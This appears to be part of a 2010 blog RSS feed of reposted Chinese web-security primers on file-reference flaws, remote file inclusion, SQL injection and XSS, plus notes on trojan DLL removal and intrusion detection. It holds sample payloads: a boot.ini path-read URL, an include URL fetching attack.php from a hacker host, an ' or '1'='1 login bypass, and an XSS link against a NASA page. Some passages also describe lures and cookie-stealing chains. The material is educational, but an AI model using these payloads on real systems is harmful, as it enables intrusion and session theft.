<img src ="http://www.cppblog.com/momoxiao/aggbug/112556.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-14 14:40 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/14/112556.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】WEB安全系列之四：不安全的直接对象引用漏洞</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/14/112555.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Wed, 14 Apr 2010 06:30:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/14/112555.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/112555.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/14/112555.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/112555.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/112555.html</trackback:ping><description><![CDATA[<p><font size=2><strong>&nbsp;&nbsp;&nbsp;&nbsp;* 不安全的直接对象引用漏洞利用的重点是web开发中，应用代码访问文件时没受到权限控制<br>&nbsp;&nbsp;&nbsp;&nbsp;* 不安全的直接对象引用漏洞的技术重点在于利用有漏洞的web程序读取文件系统资料<br>&nbsp;&nbsp;&nbsp;&nbsp;* 不安全的直接对象引用漏洞的方法重点在于未控制应用程序的访问权限<br><br>&nbsp;&nbsp; 本文主要介绍不安全的直接对象引用漏洞的过程而不是技术细节。 以PHP为例，看以下这个场景：<br><br></strong>$filea=$_GET['filename'];<br>echo &#8220;&lt;a href=".$filea."&gt; 下载此链接 &lt;/a&gt;";<br><br>如果恶意用户对之加以利用，就可能可以使用如下方式下载用户主机上其他的文件<br>http://www.demo.com/downlist.php?filename=c:/boot.ini<br><br>解决此问题的方法是必须控制web应用程序对文件的访问。</font></p>
<img src ="http://www.cppblog.com/momoxiao/aggbug/112555.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-14 14:30 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/14/112555.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】WEB安全系列之三：执行恶意脚本</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/14/112554.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Wed, 14 Apr 2010 06:24:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/14/112554.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/112554.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/14/112554.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/112554.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/112554.html</trackback:ping><description><![CDATA[<div id=read_tpc class=f14><font size=2><strong>&nbsp;&nbsp;&nbsp;&nbsp;* 恶意代码执行攻击利用的重点是web开发中引用变量做为程序执行的一部分代码<br>&nbsp;&nbsp;&nbsp;&nbsp;* 恶意代码执行攻击的技术重点在于让服务器执行了恶意代码,从而完成入侵或数据盗取等行为<br>&nbsp;&nbsp;&nbsp;&nbsp;* 恶意代码执行攻击的方法重点在于Web开发中,对变量的引用的几个关键部位没有细化处理</strong><br><br>&nbsp;&nbsp; 本文主要介绍恶意代码执行攻击的过程而不是技术细节。<br>先看一段php代码的例子：<br><br>$report = $_POST['file']; //定义report变量某个表单变量<br>include $report;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//在代码中包含此变量<br><br>如果攻击者巧妙的利用这个漏洞，就可以令被攻击服务器执行自己的恶意程序，类似的语法：<br>http://www.tester.com/index.php?file=http://www.hacker.com/attack.php<br><br>这时，程序就会读取恶意的attack.php并引入到index.php中做为执行的一个部分！<br><br>此类攻击对于脚本类网页代码最有效。<br><br>在编写代码时，尤其是利用以下的函数引用代码片段时：<br>PHP：include(), include_once(), require(), require_once(), fopen(), readfile(), ...<br>JSP/Servlet：java.io.File(), java.io.FileReader(), ...<br>ASP：include file, include virtual, ...<br>应该对所引用的内容做安全的过滤！ </font></div>
<img src ="http://www.cppblog.com/momoxiao/aggbug/112554.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-14 14:24 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/14/112554.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】WEB安全系列之二：SQL注入漏洞</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/14/112553.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Wed, 14 Apr 2010 06:18:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/14/112553.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/112553.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/14/112553.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/112553.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/112553.html</trackback:ping><description><![CDATA[<font size=2><strong>&nbsp;&nbsp;&nbsp;*&nbsp;注入漏洞攻击利用的重点是具有交互功能的使用数据库的动态站点<br>&nbsp;&nbsp;&nbsp;&nbsp;* 注入漏洞攻击的技术重点是在服务器端执行攻击者的SQL语句<br>&nbsp;&nbsp;&nbsp;&nbsp;* 注入漏洞攻击的方法重点在于动态网页存在不安全的SQL生成语句<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;本文内容重点在于介绍注入漏洞的攻击过程。<br></strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在很多动态web应用中，会提供给用户输入的接口，并且根据用户的输入来生成数据操作的SQL语句。比如一个简单的用户登录对话窗。 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;所谓注入漏洞，是指在上述描述的部位，利用输入的数据参与执行的原理，输入恶意的内容，进而该恶意内容可被执行。举例如下：<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在一个登录界面中，用户要输入自己的ID号和密码来完成登录过程，生成的SQL可能是如下这个样子：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select&nbsp;&nbsp;*&nbsp;&nbsp;from&nbsp;&nbsp;t_users&nbsp;&nbsp;where&nbsp;&nbsp;user_name=' + 用户输入的ID + ' and user_pwd=' + 用户输入的密码 +'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;一个非法的窥探者，在用户ID输入框中输入 00'&nbsp;&nbsp; or&nbsp;&nbsp; '1'='1&nbsp;&nbsp;并在密码框里输入00，生成的整个SQL就变成：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select&nbsp;&nbsp;*&nbsp;&nbsp;from&nbsp;&nbsp;t_users&nbsp;&nbsp;where&nbsp;&nbsp;user_name='00&#8216;&nbsp;&nbsp;or&nbsp;&nbsp; '1'='1'&nbsp;&nbsp;and&nbsp;&nbsp;user_pwd='00'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这样，查询是有结果的，对于不严密的判断，非法用户得以进入该系统。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;上面的例子展示了非法登录的手段。如果用于产品检索，则一个普通用户权限的用户可以用非法手段获得全部产品列表。更严重的情况是非法用户利用这种漏洞执行系统存储过程，建立系统用户，打开系统限制，完成系统登录。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果我们利用数据库存储过程来完成检索，利用参数传递的方式来传送参数，就可以避免这种情况。 </font>
<img src ="http://www.cppblog.com/momoxiao/aggbug/112553.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-14 14:18 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/14/112553.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】WEB安全系列之一：XSS跨站脚本攻击</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/14/112551.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Wed, 14 Apr 2010 06:14:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/14/112551.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/112551.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/14/112551.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/112551.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/112551.html</trackback:ping><description><![CDATA[<div id=read_tpc class=f14><font size=2><strong>&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;跨站脚本攻击利用的重点是web用户（浏览者）的安全意识<br>&nbsp;&nbsp;&nbsp;&nbsp;* 跨站脚本攻击的技术重点在于脚本是在用户端的浏览器上而非服务器端的服务上执行<br>&nbsp;&nbsp;&nbsp;&nbsp;* 跨站脚本攻击的方法重点在于让用户执行藏有恶意代码的链接</strong><br><br>&nbsp;&nbsp; 本文主要介绍跨站脚本攻击的过程而不是技术细节。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我们假定三个角色：攻击者、用户、网上银行。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;攻击的流程主要分以下几个步骤：<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1、攻击者发送EMAIL，其中带有恶意脚本的链接（链接地址是网上银行）；或者攻击者在某网站上挂接带有恶意脚本的链接（链接地址是网上银行）；<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2、用户点击该链接，连到网上银行，同时，嵌入链接的脚本被用户的浏览器执行，开始监视用户的网络连接；<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3、用户在网上银行中操作，刚才被执行的脚本收集用户的session和cookie信息，并且在用户毫不知情的情况下发送给攻击者；<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4、攻击者用搜集来的session信息，伪装成合法用户进入该网上银行进行违法活动。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;由此可见，该攻击的重点在于要有可利用的脚本执行的地方。只要有可利用来执行脚本的空间，都是该攻击可以实施的目标。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在目前，跨站脚本是最大的安全风险。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;维护浏览器安全，改变操作习惯，认真对待看到的信息，不要随意点击您的鼠标。</font></div>
<img src ="http://www.cppblog.com/momoxiao/aggbug/112551.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-14 14:14 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/14/112551.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】【TODO】浅谈反射型跨站脚本攻击的利用</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/13/112503.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Tue, 13 Apr 2010 13:04:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/13/112503.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/112503.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/13/112503.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/112503.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/112503.html</trackback:ping><description><![CDATA[<p>　　在Web 2.0技术的发展下越来越多的计算工作被放到客户端处理，由于程序员的疏忽，导致了许多的安全漏洞。如今，随着XSS漏洞的危害日益增大，如校内和baidu空间前阵子的XSS WORM等等，其危害之大也引起了大家的重视。</p>
<p>　　XSS的类型大体分为两种：反射型XSS和持久型XSS，相比之下，后者的利用要比前者方便许多。甚至许多人认为反射型的XSS是鸡肋，因为其利用起来很不方便，但在安全技术飞速发展的今天，鸡肋也有变鸡翅的一天。下面我们来看看什么是反射型XSS.</p>
<p>　　什么是反射型XSS</p>
<p>　　XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。</p>
<p>　　那么什么是反射型XSS呢?黑哥对我讲的是形如"<a href="http://www.jpl.nasa.gov/about_JPL/maps.cfm?departure=lax%22%3Cimg%20src=k.png%20onerror=alert(%22XSSed%20by%20sH%22)%20/%3E">http://www.jpl.nasa.gov/about_JPL/maps.cfm?departure=lax%22%3Cimg%20src=k.png%20onerror=alert(%22XSSed%20by%20sH%22)%20/%3E</a>"这样需要欺骗用户自己去点击链接才能触发XSS的是反射型XSS，如在论坛发贴处的XSS就是持久型的XSS.</p>
<p>　　非持久性XSS(Reflected cross-site scripting)，是我们通常所说的反射型XSS，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接才能引起。</p>
<p>　　持久性XSS(Persistent cross-site scripting)，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。</p>
<p>　　很多人非常鄙视非持久性XSS(反射型XSS)，认为这种XSS只能依靠欺骗的手段去骗人点击，才能让攻击正常实施起来。其实让反射型XSS变得持久的方法，已经出现过好多次了。比如利用applet、利用flash的AS脚本、利用IE的Ghost 页面，Cross Iframe Trick等等。</p>
<p>　　反射型XSS的常见利用方法</p>
<p>　　既然是&#8220;需要欺骗用户自己去点击链接才能触发XSS&#8221;，那利用反射型XSS岂不是只有去忽悠用户这一种方法?放在几年前也许是这样的，现如今，就要上演鸡肋变鸡翅的好戏了!</p>
<p>　　&#183;欺骗</p>
<p>　　不得不说这是最简单有效的利用方法了，但对忽悠的能力有严格的要求，不然用户不会那么容易上钩的。其次，现在的用户都有了一定的安全意识，也不是那么好骗了。以上面提到的链接为例，由于是NASA网站的跨站，大家完全可以在一些天文爱好者聚集的群里发类似这样的消息，如：&#8220;美国航空航天局公布最新UFO照片&#8221;然后加上我们的链接。由于是NASA的链接(现在连小学生都知道NASA是干什么的)，我想应该会有一部分人相信而去点击从而达到了我们的目的，这个反射型的XSS被触发。但如果不是这么碰巧呢?请往下看。</p>
<p>　　&#183;ClickJacking</p>
<p>　　在去年的OWASP会议上，ClickJacking这种攻击方式被提了出来。简单来说ClickJacking大致是这么回事：</p>
<p>　　1. 表现为点击某个链接或button时，实际上是点击到别的地方去了(劫持链接)</p>
<p>　　2. 不一定需要javascript，所以noscript也挡不住，但是如果有javascript会让事情更简单</p>
<p>　　3. 攻击是基于DHTML的</p>
<p>　　4. 需要攻击者一定程度上控制页面</p>
<p>　　所以，我们只要将用户的点击劫持到我们的链接上去就行了，而且ClickJacking是可以跨域的哦~</p>
<p>　　具体应用示例大家去google下就有了。</p>
<p>　　&#183;结合CSRF技术</p>
<p>　　CSRF是伪造客户端请求的一种攻击，CSRF的英文全称是Cross Site Request Forgery，字面上的意思是跨站点伪造请求。这种攻击方式是国外的安全人员于2000年提出，国内直到06年初才被关注。</p>
<p>　　结合CSRF技术来利用反射型XSS是种不错的方法，利用CSRF可以使得这些不好利用的XSS漏洞变得威力无穷。具体示例请参考余弦的《基于CSRF的XSS攻击》(<a href="http://huaidan.org/archives/2561.html">http://huaidan.org/archives/2561.html</a>)，这里就不细说了，有机会专门写篇关于CSRF的paper.</p>
<p>　　&#183;Cross Iframe Trick</p>
<p>　　先讲讲这种攻击能够达成什么效果：</p>
<p>　　1. 跨域执行脚本(IE、Firefox)</p>
<p>　　2. 把非持久性XSS变成持久性XSS ——&gt;!!!</p>
<p>　　3. 跨页面执行脚本</p>
<p>　　这种攻击方法比较绕，具体请参考《Cross Iframe Trick》(<a href="http://hi.baidu.com/aullik5/blog/item/07d68eb015d72652092302b1.html">http://hi.baidu.com/aullik5/blog/item/07d68eb015d72652092302b1.html</a>)</p>
<p>　　&#183;反转雅典娜——配合Anehta的回旋镖模块</p>
<p>　　什么是Anehta? Anehta是一个跨站脚本攻击(XSS)的利用平台。功能模块化，开发者可以单独为anehta开发各种各样的模块，以满足独特的需求。Anehta中有许多的具有创意的设计，回旋镖模块(Boomerang)，就是其中一个。回旋镖模块的作用，是为了跨域获取本地cookie，只是在站点上有一个XSS，种类不限，不管是反射型XSS，还是持久型XSS，都可以为我们工作。</p>
<p>　　这时，反射型XSS的余热就被充分的发挥了。</p>
<p>　　浅析Anehta回旋镖模块工作原理</p>
<p>　　既然提到了Anehta的Boomerang模块，那就简单说说吧。</p>
<p>　　Boomerang的工作原理：我们知道，浏览器被XSS攻击后，攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面，就可以继续用B站上的XSS_B控制用户的浏览器行为; 那么把整个过程结合起来，简单表示如下：</p>
<p>　　victim Browser ——&gt;site A，XSS_A —— redirect to ——&gt;Site B，XSS_B —— redirect somewhere ——&gt;&#8230;&#8230;</p>
<p>　　在IE中，iframe、img等标签都是拦截本地cookie的。需要使用不拦截cookie的比如 window.open等方法，但是window.open会被IE拦截弹出窗口，所以axis牛在Boomerang中使用了表单提交，构造一个form，向site B提交，然后再从Site B导入一个XSS B，获取了cookie后，再通过表单提交，跳转回原来的Site A.如果在Site B上，使用XSS_B再将页面重新定向回 Site A，那么对于用户来说，就是简单的闪了一下，非常具有欺骗性，整个过程就像用回旋镖扔出去打了一下B一样。</p>
<p>　　但其实这并没有把反射型XSS真正的变成持久型的XSS，只是反射型XSS的一种攻击方式而已，也没有跨域，而是URL重定向转了一圈，跳了一圈又回来了。但这确实是让反射型XSS得到了充分的利用，达到了我们的目的。axis牛的这种思路非常值得我们学习!</p>
<p>　　小结</p>
<p>　　本文只总结了常见的反射型XSS利用的方法，但都是简单的提了下，起到了个抛砖引玉的作用，让大家见到反射型XSS时能想到这些(貌似要都详细写出来就太多了- -：)，如有不足之处还请各位见谅。</p>
<img src ="http://www.cppblog.com/momoxiao/aggbug/112503.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-13 21:04 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/13/112503.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>regsvr32.exe</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/12/112278.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Sun, 11 Apr 2010 16:23:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/12/112278.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/112278.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/12/112278.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/112278.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/112278.html</trackback:ping><description><![CDATA[当木马以DLL形式存在，且开机自动加载，<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">regsvr32.exe&nbsp;</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">u&nbsp;DLL名称</span></div>
反注册DLL（系统将这个DLL移出开机所必须执行的列表），此时这个DLL还在运行，重启后不再被加载，删除即可
<img src ="http://www.cppblog.com/momoxiao/aggbug/112278.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-12 00:23 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/12/112278.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>入侵检测技术 //TODO</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/10/112187.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Sat, 10 Apr 2010 09:24:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/10/112187.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/112187.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/10/112187.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/112187.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/112187.html</trackback:ping><description><![CDATA[<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><font color=#008000>整理from: &nbsp;infosec.pku.edu.cn&nbsp; <br>未完<br></font><font size=2><span lang=EN-US style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-font-family: 宋体">--------------------------------------------<br><br>入侵检测系统（</span><span lang=EN-US><font face=Calibri>IDS</font></span><span lang=EN-US style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-font-family: 宋体">，</span><span lang=EN-US><font face=Calibri>Instruction Detection System</font></span><span lang=EN-US style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-font-family: 宋体">）：进行入侵检测的软件和硬件的组合。</span></font></p>
<div style="BORDER-RIGHT: #4f81bd 3pt solid; PADDING-RIGHT: 0cm; BORDER-TOP: #4f81bd 3pt solid; PADDING-LEFT: 0cm; BACKGROUND: #4f81bd; PADDING-BOTTOM: 0cm; BORDER-LEFT: #4f81bd 3pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: #4f81bd 3pt solid; mso-element: para-border-div; mso-border-themecolor: accent1; mso-background-themecolor: accent1">
<h1 style="BACKGROUND: #4f81bd; MARGIN: 0cm 0cm 0pt; mso-background-themecolor: accent1"><font size=3><font color=#ffffff><span lang=EN-US style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-font-family: 宋体">入侵检测的起源和分类</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></font></h1>
</div>
<p class=MsoNormalCxSpFirst style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">审计技术：产生、记录并检查按时间顺序排列的<strong style="mso-bidi-font-weight: normal">系统事件记录</strong>的过程。</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></p>
<p class=MsoNormalCxSpLast style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal; mso-add-space: auto"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">审计的目标：</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></p>
<p class=MsoListParagraphCxSpFirst style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l5 level1 lfo1"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">确定和保持系统活动中每个人的责任</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l5 level1 lfo1"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">重建事件</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l5 level1 lfo1"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">评估损失</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
<p class=MsoListParagraphCxSpMiddle style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; LINE-HEIGHT: normal; mso-add-space: auto; mso-list: l5 level1 lfo1"><span lang=EN-US style="FONT-FAMILY: 'Times New Roman','serif'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font size=2>&shy;</font><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">检测系统的问题区</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></p>
